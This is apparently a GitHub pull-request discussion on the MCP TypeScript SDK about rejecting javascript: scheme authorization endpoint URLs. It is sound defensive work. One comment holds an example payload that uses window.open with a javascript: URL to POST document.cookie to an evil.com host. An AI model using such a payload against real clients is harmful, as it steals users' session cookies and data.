Is there a situation where an authorization server could be behind a custom protocol? For example raycast uses raycast:// links to open the app (but that's the redirect url rather than the authorization. I'm just questioning if there's a situation where the server might need a custom protocol that is not http/https

@paoloricciuti another option is to selectively disallow certain schemes like javascript instead of a blanket block on everything except http and https

@paoloricciuti another option is to selectively disallow certain schemes like javascript instead of a blanket block on everything except http and https

Yeah exactly my thought...also technically nothing prevents the MCP server to specify a authorization url that lead to a page with malicious JS even if the protocol was https

I guess if it specifies a url of a page containing malicious JS, the risk is relatively contained because the page context is of different origin. Opposed to, for example, windows.open execution of malicious JS within the client's origin (in which case the attacker can easily steal cookies/data)

for example:

window.open("javascript:fetch('https://evil.com/steal',{method:'POST',body:document.cookie})")

Updated discoverAuthorizationServerMetadata to validate that metadata.authorization_endpoint doesn't contain javascript: schema before returning metadata. Narrowed the scope since this is the url that'll be primarily executed in the user's browser context. Let me know if this looks good

thinking about it some more, i think it'd be better to do it when parsing via zod (channeling parse, don't validate ), let's follow up on this PR: https://github.com/modelcontextprotocol/typescript-sdk/pull/877/files